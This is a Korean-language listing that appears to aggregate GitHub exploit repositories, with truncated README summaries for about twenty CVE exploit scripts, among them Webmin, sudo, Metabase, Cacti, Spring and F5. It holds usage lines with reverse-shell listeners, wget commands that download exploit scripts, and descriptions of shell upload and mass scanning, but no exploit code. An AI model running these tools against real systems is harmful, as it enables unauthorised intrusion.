CVE-2018-4407

CVE-2018-4407 Scapy API를 사용하여 Python으로 작성된 CVE-2018-4407 익스플로잇 코드입니다. 사용법: 2018-4407.py targetip...

CVE-2021-21239-Exploit

세부 보고서는 아래에 있습니다 https://docs.google.com/document/d/157fGn7lLP1uBuRz8zUgRDWTDklKznljeOWwRQ-C6uFg/edit?usp=sharing 사용법 python main.py...

CVE-2019-15107-Exploit

CVE-2019-15107 Python 익스플로잇 이 익스플로잇은 CVE-2019-15107 Webmin 1.890-1.920에 대한 인증되지 않은 RCE 이며 Python 으로 구현되었습니다. 사용법 python3 webminExploit.py python3 webminExploit.py 10.200.198.200 10000 whoami python3 webminExploit.py 10.200.198.200 10000 "curl -h"...

CVE-2022-31814

CVE-2022-31814 업데이트된 익스플로잇 - pfBlockerNG = 2.1.426 무인증 RCE CVE-2022-31814 설명 이 스크립트는 pfBlockerNG = 2.1.426에 대한 개념 증명 익스플로잇으로, 원격 코드 실행을 가능하게 합니다. 단일 대상 URL 또는 URL 목록을 받아 여러 페이로드를 사용하여 셸을 업로드하고, 명령을 실행한 다음 셸을 삭제합니다. 요구 사항 이 스크립트는 Python 3.x와 requests 모듈이 설치되어 있어야 합니다. 다음 명령어로 모듈을 설치할 수 있습니다: pip3...

CVE-2021-3156-without-ip-command

CVE-2021-3156-without-ip-command worawit/CVE-2021-3156 exploitnss.py의 포크로, ifconfig를 사용하도록 수정되었으며 ip 명령어 대신 작동합니다 wget https://github.com/Bad3r/CVE-2021-3156-without-ip-command/raw/refs/heads/main/exploitnss.py or wget https://cdn.unsigned.sh/exploitnss.py...

CVE-2011-2523-PoC

vsftpd2.3.4 vsftpd 2.3.4 취약점을 이용하는 파이썬으로 작성된 간단한 익스플로잇 사용 방법: python3 ftpxploit.py 127.0.0.1...

CVE-2023-38646

CVE-2023-38646 CVE-2023-38646을 위한 파이썬 RCE 익스플로잇 사용법 리스너 시작하기 nc -lvnp 익스플로잇 실행 python3 CVE-2023-38646.py -u -l -p 도움말 python3 CVE-2023-38646.py -h usage: CVE-2023-38646.py -h -u URL -l LHOST -p LPORT optional arguments: -h, --help show this help message and exit -u URL, --url URL URL to exploit...

CVE-2022-46169

CVE-2022-41343 🐍 CVE-2022-46169를 위한 Python 익스플로잇 Cacti = 1.2.22용 Staged Reverse Shell 예제 cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb 사용법 usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip 셸 콜백 IP 주소/호스트 port 셸 콜백 포트 options: -h, --help 이 도움말 메시지를 표시하고 종료 -u URL, --u...

CVE-2019-15107

CVE-2019-15107 Python 구현 - CVE-2019-15107 Webmin 1.890-1.920 백도어 RCE 익스플로잇 동일한 익스플로잇에 대한 Metasploit 모듈 기반 EDB ID: 47230 익스플로잇은 대부분 자동으로 동작합니다. 전체 스위치 옵션은 ./CVE-2019-15107.py --help를 참조하세요. 경고: 이 저장소의 코드는 학술적/윤리적 목적으로만 사용될 수 있습니다. 저자는 이 익스플로잇을 다른 목적으로 사용하는 것을 용납하지 않습니다 -- 이는 귀하가 소유하거나 테스트할 권한을 부여받...

CVE-2024-28397-RCE

CVE-2024-28397-RCE CVE-2024-28397 - 취약한 JS2PY에서의 원격 코드 실행 사용법: python3 exploit.py...

WinRar_ACE_exploit_CVE-2018-20250

WinRar ACE 익스플로잇 CVE-2018-20250 이 프로그램은 WinRar의 ACE 취약점을 익스플로잇하는 Python 스크립트입니다 - 취약점 CVE-2018-20250 이전에 WyAtu가 개발한 프로젝트를 기반으로 합니다. 교육 목적으로 Daniel Vispo 블로그에서 사용됩니다. 악성 익스플로잇을 생성하는 방법 ? 이 Python 스크립트는 "./build" 폴더 아래에 취약점 CVE-2018-20250을 익스플로잇하는 악성 ".rar" 파일을 생성합니다. 이 GitHub 프로젝트를 다운로드합니다. Window...

CVE-2019-18634

SUDO 취약점 CVE-2019-18634 Sudo 취약점 BSS 오버플로CVE-2019-18634에 대한 Python으로 개발된 익스플로잇입니다. 학습 목적으로 작성되었습니다. 사용법 python run.py 크레딧 https://github.com/Plazmaz/CVE-2019-18634 https://bestwing.me/CVE-2019-18634-analysis.html...

CVE-2017-12149

CVE-2017-12149 - 1337g 제작 사용법: CVE-2017-12149.py http://대상IP:포트/ JBOSS RCE HTTPS에서는 작동하지 않는 이유를 모르겠습니다...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947EXP,CVE-2022-22947RCE 사용법 리버스 셸 python3 CVE-2022-22947.py 目标网址 弹shell的IP 端口 명령 실행 python3 CVE-2022-22947.py 目标网址 命令...

cve-2022-22947

cve-2022-22947 cve-2022-22947에 대한 poc 사용법: python python cve-2022-22947.py url cmd...

CVE-2022-1388-EXP

CVE-2022-1388-EXP This is CVE-2022-1388-EXP Author:Caps@BUGFOR Github:https://github.com/bytecaps Remaker:LinJacck Github:https://github.com/LinJacck 기능 소개 검증 모드: python CVE20221388.py -v -u targeturl 공격 모드: python CVE20221388.py -a -u targeturl -c command 대량 감지: python CVE20221388.py -s -f file...

CVE-2024-51378

CVE-2024-51378 취약점 분석 CVE-2024-51378, 취약한 호스트를 찾기 위한 스크립트, Python 및 nuclei를 사용한 단일 스레드 및 다중 스레드 모드에서의 익스플로잇 사용. 스크립트 사용은 테스트 호스트에서 교육 목적으로만 허용됩니다. 1-CVE-2024-51378.pdf - 작업 결과에 대한 텍스트 설명이 포함된 주요 파일 2-exploit - 작업 2부에 대한 파일 51378use.py – 단일 스레드 모드에서 익스플로잇을 적용하는 파일로, 사용자가 시작 시 지정된 URL로 명령 시퀀스를 보낼 수...

CVE-2019-18634

CVE-2019-18634 Ubuntu 20.04, sudo 버전 1.8.25에서 작동하는 python 익스플로잇 "./shell.sh"를 자신의 리버스 셸로 교체하세요 분석 문서: https://y3a.github.io/2021/04/17/sudo-cve-analysis/...

CVE-2022-22965

👾 CVE-2022-22965 이것은 CVE-2022-22965 spring4shell 취약점에 대한 익스플로잇의 개념 증명PoC입니다. 다음으로 구성됩니다: 취약한 Springboot 애플리케이션; 파이썬으로 작성된 익스플로잇 스크립트; 익스플로잇이 작동하지 않는지 테스트하기 위한 안전한 앱; 취약한 애플리케이션을 실행하고 익스플로잇을 테스트하기 위한 Dockerfile; 🔧협력자 🇮🇹 Mario Offertucci; 🇮🇹 Antonio Donnarumma. ⚙️ 사전 요구사항 Docker: Springboot 애플리케이션으로...

CVE-2014-6271-IPFire

CVE-2014-6271 CVE-2014-6271의 Python 구현: IP Fire =2.15 ShellShock RCE 동일한 익스플로잇에 대한 Metasploit 모듈 기반 EDB ID: 34839 익스플로잇은 자동입니다. 전체 스위치 목록은 ./CVE-2014-6271.py --help를 참조하세요 경고: 이 저장소의 코드는 학술/윤리적 목적으로만 사용될 수 있습니다. 저자는 이 익스플로잇을 다른 목적으로 사용하는 것을 용납하지 않습니다 -- 이 코드는 귀하가 소유하거나 테스트 권한을 부여받은 시스템에 대해서만 사용할 ...